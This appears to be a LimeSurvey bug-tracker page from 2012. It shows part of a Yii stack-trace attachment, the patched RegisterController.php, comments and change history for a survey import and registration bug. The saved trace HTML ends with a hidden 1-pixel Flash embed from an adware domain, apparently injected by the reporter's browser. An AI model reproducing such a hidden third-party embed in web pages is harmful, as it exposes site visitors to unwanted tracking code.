#9 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\web\CWebApplication.php(135): <strong>CWebApplication</strong>-><strong>runController</strong>("register/index/surveyid/954223") </div>
<div class="code"><pre><span class="ln">130</span> foreach(array_splice($this->catchAllRequest,1) as $name=>$value)
<span class="ln">131</span> $_GET[$name]=$value;
<span class="ln">132</span> }
<span class="ln">133</span> else
<span class="ln">134</span> $route=$this->getUrlManager()->parseUrl($this->getRequest());
<span class="error"><span class="ln error-ln">135</span> $this->runController($route);
</span><span class="ln">136</span> }
<span class="ln">137</span>
<span class="ln">138</span> /**
<span class="ln">139</span> * Registers the core application components.
<span class="ln">140</span> * This method overrides the parent implementation by registering additional core components.
</pre></div> </td>
</tr>
<tr class="trace core collapsed">
<td class="number">
#10 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\framework\base\CApplication.php(162): <strong>CWebApplication</strong>-><strong>processRequest</strong>() </div>
<div class="code"><pre><span class="ln">157</span> */
<span class="ln">158</span> public function run()
<span class="ln">159</span> {
<span class="ln">160</span> if($this->hasEventHandler('onBeginRequest'))
<span class="ln">161</span> $this->onBeginRequest(new CEvent($this));
<span class="error"><span class="ln error-ln">162</span> $this->processRequest();
</span><span class="ln">163</span> if($this->hasEventHandler('onEndRequest'))
<span class="ln">164</span> $this->onEndRequest(new CEvent($this));
<span class="ln">165</span> }
<span class="ln">166</span>
<span class="ln">167</span> /**
</pre></div> </td>
</tr>
<tr class="trace app expanded">
<td class="number">
#11 </td>
<td class="content">
<div class="trace-file">
<div class="plus">+</div>
<div class="minus">–</div>
C:\xampp\htdocs\limesurvey\index.php(178): <strong>CApplication</strong>-><strong>run</strong>() </div>
<div class="code"><pre><span class="ln">173</span> *
<span class="ln">174</span> */
<span class="ln">175</span> require_once BASEPATH . 'yii' . EXT;
<span class="ln">176</span> require_once APPPATH . 'core/LSYii_Application' . EXT;
<span class="ln">177</span>
<span class="error"><span class="ln error-ln">178</span> Yii::createApplication('LSYii_Application', APPPATH . 'config/config' . EXT)->run();
</span><span class="ln">179</span>
<span class="ln">180</span> /* End of file index.php */
<span class="ln">181</span> /* Location: ./index.php */
</pre></div> </td>
</tr>
</tbody></table>
</div>
<div class="version">
2012-10-25 14:50:52 Apache/2.4.2 (Win32) OpenSSL/1.0.1c PHP/5.4.4 <a href="http://www.yiiframework.com/">Yii Framework</a>/1.1.10 </div>
</div>
<script type="text/javascript">
/*<![CDATA[*/
var traceReg = new RegExp("(^|\\s)trace-file(\\s|$)");
var collapsedReg = new RegExp("(^|\\s)collapsed(\\s|$)");
var e = document.getElementsByTagName("div");
for(var j=0,len=e.length;j<len;j++){
if(traceReg.test(e[j].className)){
e[j].onclick = function(){
var trace = this.parentNode.parentNode;
if(collapsedReg.test(trace.className))
trace.className = trace.className.replace("collapsed", "expanded");
else
trace.className = trace.className.replace("expanded", "collapsed");
}
}
}
/*]]>*/
</script>
<div id="dp_swf_engine" style="position: absolute; width: 1px; height: 1px;" class="broke-endless-pages"><embed style="width: 1px; height: 1px;" type="application/x-shockwave-flash" src="http://static.dealply.com/flash/dealply_swf_engine.swf" width="1" height="1" id="_dp_swf_engine" name="_dp_swf_engine" bgcolor="#336699" quality="high" allowscriptaccess="always"></div></body><link rel="stylesheet" type="text/css" href="data:text/css,"></html> RegisterController.php (11,996 bytes)
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
/*
* LimeSurvey
* Copyright (C) 2007-2011 The LimeSurvey Project Team / Carsten Schmitz
* All rights reserved.
* License: GNU/GPL License v2 or later, see LICENSE.php
* LimeSurvey is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*
* $Id$
*/
/**
* register
*
* @package LimeSurvey
* @copyright 2011
* @version $Id$
* @access public
*/
class RegisterController extends LSYii_Controller {
function actionAJAXRegisterForm
($surveyid)
{
Yii::app()->loadHelper('database');
Yii::app()->loadHelper('replacements');
$redata = compact(array_keys(get_defined_vars()));
$surveyid = sanitize_int($surveyid);
$row = Survey::model()->find('sid=:sid',array(':sid' => $surveyid)) or show_error("Can't find survey data");
$thistpl=getTemplatePath(validateTemplateDir($row->template));
$data['sid'] = $surveyid;
$data['startdate'] = $row->startdate;
$data['enddate'] = $row->expires;
Yii::import('application.libraries.Limesurvey_lang');
Yii::app()->lang = new Limesurvey_lang($baselang);
echo templatereplace(file_get_contents("$thistpl/register.pstpl"),array(),$redata,'register.php',false,NULL,$data);
unset($_SESSIOn['survey_'.$surveyid]['register_errormsg']);
}
/**
* register::index()
* Process register form data and take appropriate action
* @return
*/
function actionIndex($surveyid = null)
{
Yii::app()->loadHelper('database');
Yii::app()->loadHelper('replacements');
$postlang = Yii::app()->request->getPost('lang');
if($surveyid == null)
{
$surveyid = Yii::app()->request->getPost('sid');
}
if (!$surveyid)
{
Yii::app()->request->redirect(Yii::app()->baseUrl);
}
$usquery = "SELECT stg_value FROM {{settings_global}} where stg_name='SessionName'";
$usrow = Yii::app()->db->createCommand($usquery)->queryRow();
if ($usrow)
{
$stg_SessionName=$usrow['stg_value'];
Yii::app()->session->setSessionName("$stg_SessionName-runtime-$surveyid");
}
else
{
Yii::app()->setSessionName("LimeSurveyRuntime-$surveyid");
}
Yii::app()->session->setCookieParams(array(0, Yii::app()->getConfig('relativeurl').'/'));
// Get passed language from form, so that we dont loose this!
if (!isset($postlang) || $postlang == "" || !$postlang )
{
$baselang = Survey::model()->findByPk($surveyid)->language;
Yii::import('application.libraries.Limesurvey_lang');
Yii::app()->lang = new Limesurvey_lang($baselang);
$clang = Yii::app()->lang;
} else {
Yii::import('application.libraries.Limesurvey_lang');
Yii::app()->lang = new Limesurvey_lang($postlang);
$clang = Yii::app()->lang;
$baselang = $postlang;
}
$thissurvey=getSurveyInfo($surveyid,$baselang);
$register_errormsg = "";
// Check the security question's answer
if (function_exists("ImageCreate") && isCaptchaEnabled('registrationscreen',$thissurvey['usecaptcha']) )
{
if (!isset($_POST['loadsecurity']) ||
!isset($_SESSION['survey_'.$surveyid]['secanswer']) ||
Yii::app()->request->getPost('loadsecurity') != $_SESSION['survey_'.$surveyid]['secanswer'])
{
$register_errormsg .= $clang->gT("The answer to the security question is incorrect.")."<br />\n";
}
}
//Check that the email is a valid style address
if (!validateEmailAddress(Yii::app()->request->getPost('register_email')))
{
$register_errormsg .= $clang->gT("The email you used is not valid. Please try again.");
}
// Check for additional fields
$attributeinsertdata = array();
foreach (GetParticipantAttributes($surveyid) as $field => $data)
{
if (empty($data['show_register']) || $data['show_register'] != 'Y')
continue;
$value = sanitize_xss_string(Yii::app()->request->getPost('register_' . $field));
if (trim($value) == '' && $data['mandatory'] == 'Y')
$register_errormsg .= sprintf($clang->gT("%s cannot be left empty"), $thissurvey['attributecaptions'][$field]);
$attributeinsertdata[$field] = $value;
}
if ($register_errormsg != "")
{
$_SESSION['survey_'.$surveyid]['register_errormsg']=$register_errormsg;
Yii::app()->request->redirect(Yii::app()->createUrl('survey/index/sid/'.$surveyid));
}
//Check if this email already exists in token database
$query = "SELECT email FROM {{tokens_$surveyid}}\n"
. "WHERE email = '".sanitize_email(Yii::app()->request->getPost('register_email'))."'";
$usrow = Yii::app()->db->createCommand($query)->queryRow();
if ($usrow)
{
$register_errormsg=$clang->gT("The email you used has already been registered.");
$_SESSION['survey_'.$surveyid]['register_errormsg']=$register_errormsg;
Yii::app()->request->redirect(Yii::app()->createUrl('survey/index/sid/'.$surveyid));
//include "index.php";
//exit;
}
$mayinsert = false;
// Get the survey settings for token length
//$this->load->model("surveys_model");
$tlresult = Survey::model()->findAllByAttributes(array("sid"=>$surveyid));
if (isset($tlresult[0])) {
$tlrow = $tlresult[0];
}
else
{
$tlrow = $tlresult;
}
$tokenlength = $tlrow['tokenlength'];
//if tokenlength is not set or there are other problems use the default value (15)
if(!isset($tokenlength) || $tokenlength == '')
{
$tokenlength = 15;
}
while ($mayinsert != true)
{
$newtoken = randomChars($tokenlength);
$ntquery = "SELECT * FROM {{tokens_$surveyid}} WHERE token='$newtoken'";
$usrow = Yii::app()->db->createCommand($ntquery)->queryRow();
if (!$usrow) {$mayinsert = true;}
}
$postfirstname=sanitize_xss_string(strip_tags(Yii::app()->request->getPost('register_firstname')));
$postlastname=sanitize_xss_string(strip_tags(Yii::app()->request->getPost('register_lastname')));
$starttime = sanitize_xss_string(Yii::app()->request->getPost('startdate'));
$endtime = sanitize_xss_string(Yii::app()->request->getPost('enddate'));
/*$postattribute1=sanitize_xss_string(strip_tags(returnGlobal('register_attribute1')));
$postattribute2=sanitize_xss_string(strip_tags(returnGlobal('register_attribute2'))); */
// Insert new entry into tokens db
Tokens_dynamic::sid($thissurvey['sid']);
$token = new Tokens_dynamic;
$token->firstname = $postfirstname;
$token->lastname = $postlastname;
$token->email = Yii::app()->request->getPost('register_email');
$token->emailstatus = 'OK';
$token->token = $newtoken;
if ($starttime && $endtime)
{
$token->validfrom = $starttime;
$token->validuntil = $endtime;
}
foreach ($attributeinsertdata as $k => $v)
$token->$k = $v;
$result = $token->save();
/**
$result = $connect->Execute($query, array($postfirstname,
$postlastname,
returnGlobal('register_email'),
'OK',
$newtoken)
// $postattribute1, $postattribute2)
) or safeDie ($query."<br />".$connect->ErrorMsg()); //Checked - According to adodb docs the bound variables are quoted automatically
*/
$tid = getLastInsertID($token->tableName());;
$fieldsarray["{ADMINNAME}"]=$thissurvey['adminname'];
$fieldsarray["{ADMINEMAIL}"]=$thissurvey['adminemail'];
$fieldsarray["{SURVEYNAME}"]=$thissurvey['name'];
$fieldsarray["{SURVEYDESCRIPTION}"]=$thissurvey['description'];
$fieldsarray["{FIRSTNAME}"]=$postfirstname;
$fieldsarray["{LASTNAME}"]=$postlastname;
$fieldsarray["{EXPIRY}"]=$thissurvey["expiry"];
$message=$thissurvey['email_register'];
$subject=$thissurvey['email_register_subj'];
$from = "{$thissurvey['adminname']} <{$thissurvey['adminemail']}>";
if (getEmailFormat($surveyid) == 'html')
{
$useHtmlEmail = true;
$surveylink = $this->createAbsoluteUrl($surveyid.'/lang-'.$baselang.'/tk-'.$newtoken);
$optoutlink = $this->createAbsoluteUrl('optout/local/'.$surveyid.'/'.$baselang.'/'.$newtoken);
$optinlink = $this->createAbsoluteUrl('optin/local/'.$surveyid.'/'.$baselang.'/'.$newtoken);
$fieldsarray["{SURVEYURL}"]="<a href='$surveylink'>".$surveylink."</a>";
$fieldsarray["{OPTOUTURL}"]="<a href='$optoutlink'>".$optoutlink."</a>";
$fieldsarray["{OPTINURL}"]="<a href='$optinlink'>".$optinlink."</a>";
}
else
{
$useHtmlEmail = false;
$fieldsarray["{SURVEYURL}"]= $this->createAbsoluteUrl(''.$surveyid.'/lang-'.$baselang.'/tk-'.$newtoken);
$fieldsarray["{OPTOUTURL}"]= $this->createAbsoluteUrl('optout/local/'.$surveyid.'/'.$baselang.'/'.$newtoken);
$fieldsarray["{OPTINURL}"]= $this->createAbsoluteUrl('optin/local/'.$surveyid.'/'.$baselang.'/'.$newtoken);
}
$message=ReplaceFields($message, $fieldsarray);
$subject=ReplaceFields($subject, $fieldsarray);
$html = ""; //Set variable
$sitename = Yii::app()->getConfig('sitename');
if (SendEmailMessage($message, $subject, Yii::app()->request->getPost('register_email'), $from, $sitename,$useHtmlEmail,getBounceEmail($surveyid)))
{
// TLR change to put date into sent
$today = dateShift(date("Y-m-d H:i:s"), "Y-m-d H:i", Yii::app()->getConfig('timeadjust'));
$query = "UPDATE {{tokens_$surveyid}}\n"
."SET sent='$today' WHERE tid=$tid";
$result=dbExecuteAssoc($query) or show_error("Unable to execute this query : $query<br />"); //Checked
$html="<center>".$clang->gT("Thank you for registering to participate in this survey.")."<br /><br />\n".$clang->gT("An email has been sent to the address you provided with access details for this survey. Please follow the link in that email to proceed.")."<br /><br />\n".$clang->gT("Survey administrator")." {ADMINNAME} ({ADMINEMAIL})";
$html=ReplaceFields($html, $fieldsarray);
$html .= "<br /><br /></center>\n";
}
else
{
$html="Email Error";
}
//PRINT COMPLETED PAGE
if (!$thissurvey['template'])
{
$thistpl=getTemplatePath(validateTemplateDir('default'));
}
else
{
$thistpl=getTemplatePath(validateTemplateDir($thissurvey['template']));
}
sendCacheHeaders();
doHeader();
Yii::app()->lang = $clang;
foreach(file("$thistpl/startpage.pstpl") as $op)
{
echo templatereplace($op);
}
foreach(file("$thistpl/survey.pstpl") as $op)
{
echo "\t".templatereplace($op);
}
echo $html;
foreach(file("$thistpl/endpage.pstpl") as $op)
{
echo templatereplace($op);
}
doFooter();
}
}
| ||||
| Bug heat | 4 | ||||
| Complete LimeSurvey version number (& build) | 121017 | ||||
| I will donate to the project if issue is resolved | No | ||||
| Browser | Chrome | ||||
| Database type & version | MySQL:5.0 and Microsoft SQL Server 2008 Full | ||||
| Server OS (if known) | Windows 2008r2 | ||||
| Webserver software & version (if known) | Apache 2.4 | ||||
| PHP Version | 5.4.4 | ||||
| Git branch / Pull Request URL | |||||
|
Though the error appears, the survey does seem to import. Not sure if anything is actually missing??? |
|
|
Fix committed to master branch: http://bugs.limesurvey.org/plugin.php?page=Source/view&id=9954 |
|
|
New version 2.00+ Build 121019 released. Please update. |
|
|
Attempted to import a survey created in Windows 2008r2/MSSQL - deleted old survey first then imported: failed. Attached stack trace and lsa. |
|
|
Version 2.00+ Build 121024 |
|
|
The issue here may be that I exported an active survey - at the import process, the survey attempted to be active also. Once I made the survey not active the error cleared. |
|
|
Nope... that was not it... cannot get past the logon now - attached stack dump. |
|
|
I am sorry but I don't follow. |
|
|
UNC - LimeSurvey.htm [^] (49,610 bytes) 2012-10-25 08:40 was from the original import attempt from the Windows2008r2/MSSQL to Windows7/MySQL. CException.htm [^] (23,078 bytes) 2012-10-25 08:52 is after making the survey inactive then returning the survey to active status on the Windows7/MySQL machine. (NOTE: you may have to remove the custom attribute for a logon) |
|
|
Fix committed to master branch: http://bugs.limesurvey.org/plugin.php?page=Source/view&id=10024 |
|
|
LimeSurvey 2.00+ Build 121025 released - please update. |
|
|
LimeSurvey: master 71f8ad46 2012-10-19 08:12 Details Diff |
Fixed issue 06732: Unable to import survey using assessments in MSSQL |
Affected Issues 06732 |
|
| mod - application/helpers/admin/import_helper.php | Diff File | ||
|
LimeSurvey: master b5b469c1 2012-10-25 08:21 Details Diff |
Fixed issue 06732: Unable to register for survey after attribute fields were removed from token table |
Affected Issues 06732 |
|
| mod - application/controllers/RegisterController.php | Diff File | ||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2012-10-18 14:25 | helper | New Issue | |
| 2012-10-18 14:25 | helper | File Added: survey_archive_714121.lsa | |
| 2012-10-18 14:46 | helper | Note Added: 21440 | |
| 2012-10-19 15:08 | c_schmitz | Assigned To | => c_schmitz |
| 2012-10-19 15:08 | c_schmitz | Status | new => assigned |
| 2012-10-19 15:12 | c_schmitz | Changeset attached | => LimeSurvey master 71f8ad46 |
| 2012-10-19 15:12 | c_schmitz | Note Added: 21469 | |
| 2012-10-19 15:12 | c_schmitz | Resolution | open => fixed |
| 2012-10-19 15:13 | c_schmitz | Status | assigned => resolved |
| 2012-10-19 15:13 | c_schmitz | Fixed in Version | => 2.00+ |
| 2012-10-19 15:13 | c_schmitz | File Deleted: survey_archive_714121.lsa | |
| 2012-10-19 16:21 | c_schmitz | Note Added: 21475 | |
| 2012-10-19 16:21 | c_schmitz | Status | resolved => closed |
| 2012-10-25 14:39 | helper | Note Added: 21658 | |
| 2012-10-25 14:39 | helper | Status | closed => feedback |
| 2012-10-25 14:39 | helper | Resolution | fixed => reopened |
| 2012-10-25 14:39 | helper | File Added: survey_archive_945857.lsa | |
| 2012-10-25 14:40 | helper | File Added: UNC - LimeSurvey.htm | |
| 2012-10-25 14:41 | helper | Note Added: 21659 | |
| 2012-10-25 14:41 | helper | Status | feedback => assigned |
| 2012-10-25 14:47 | helper | Note Added: 21660 | |
| 2012-10-25 14:51 | helper | Note Added: 21662 | |
| 2012-10-25 14:52 | helper | File Added: CException.htm | |
| 2012-10-25 14:55 | c_schmitz | Note Added: 21663 | |
| 2012-10-25 14:55 | c_schmitz | Status | assigned => feedback |
| 2012-10-25 15:02 | helper | Note Added: 21665 | |
| 2012-10-25 15:02 | helper | Status | feedback => assigned |
| 2012-10-25 15:22 | c_schmitz | File Added: RegisterController.php | |
| 2012-10-25 15:26 | c_schmitz | Status | assigned => resolved |
| 2012-10-25 15:26 | c_schmitz | Resolution | reopened => fixed |
| 2012-10-25 15:26 | c_schmitz | Changeset attached | => LimeSurvey master b5b469c1 |
| 2012-10-25 15:26 | c_schmitz | Note Added: 21667 | |
| 2012-10-25 15:36 | c_schmitz | Note Added: 21671 | |
| 2012-10-25 15:36 | c_schmitz | Status | resolved => closed |